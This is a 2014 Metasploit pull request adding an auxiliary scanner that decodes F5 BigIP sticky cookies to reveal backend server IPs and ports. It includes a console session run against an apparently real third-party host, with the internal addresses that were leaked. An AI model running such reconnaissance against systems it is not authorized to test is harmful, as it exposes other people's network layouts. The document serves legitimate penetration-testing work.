rapid7/metasploit-framework — pull request #3297 by Th4nat0s (2014-04-24 22:40:49+00:00)
Title: Module f5 cookie disclosure

Hi all,
Another "scouting" contribution. It decodes cookies set unencrypted by F5 BigIP loadbalancer. It leaks real ip and port of backend. Results is added in db.

msf > use auxiliary/scanner/http/f5_bigip_cookie_disclosure
msf auxiliary(f5_bigip_cookie_disclosure) > info

Name: F5 Bigip Backend IP/PORT Cookie Disclosure.
Module: auxiliary/scanner/http/f5_bigip_cookie_disclosure
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
Thanat0s

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RETRY 10 yes Number of requests to try to find backends
RHOST yes The target address
RPORT 80 yes The target port
TARGETURI / yes The URI path to test
VHOST no HTTP server virtual host

Description:
This module identify F5 BigIP SLB and decode sticky cookies wich
leak backend IP and port.

References:
http://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html
http://support.f5.com/kb/en-us/solutions/public/7000/700/sol7784.html?sr=14607726

msf auxiliary(f5_bigip_cookie_disclosure) > set SSL true
SSL => true
msf auxiliary(f5_bigip_cookie_disclosure) > set RPORT 443
RPORT => 443
msf auxiliary(f5_bigip_cookie_disclosure) > set RHOST a.famous.host
RHOST => a.famous.host
msf auxiliary(f5_bigip_cookie_disclosure) > run
[*] Starting request /
[*] F5 cookie "LBzb-cli" found
[*] Backend 10.253.248.4:80
[*] Backend 10.253.248.196:80
[*] Backend 10.253.248.133:80
[*] Backend 10.253.248.68:80
[*] Backend 10.253.248.5:80
[*] Backend 10.253.248.197:80
[*] Backend 10.253.248.132:80
[*] Backend 10.253.248.207:80
[*] Backend 10.253.248.144:80
[*] Auxiliary module execution completed
msf auxiliary(f5_bigip_cookie_disclosure) > notes
[*] Time: 2014-04-18 16:37:11 UTC Note: host=158.X.Y.Z type=F5_Cookie_Backends data=["10.253.248.4:80", "10.253.248.196:80", "10.253.248.133:80", "10.253.248.68:80", "10.253.248.5:80", "10.253.248.197:80", "10.253.248.132:80", "10.253.248.207:80", "10.253.248.144:80"]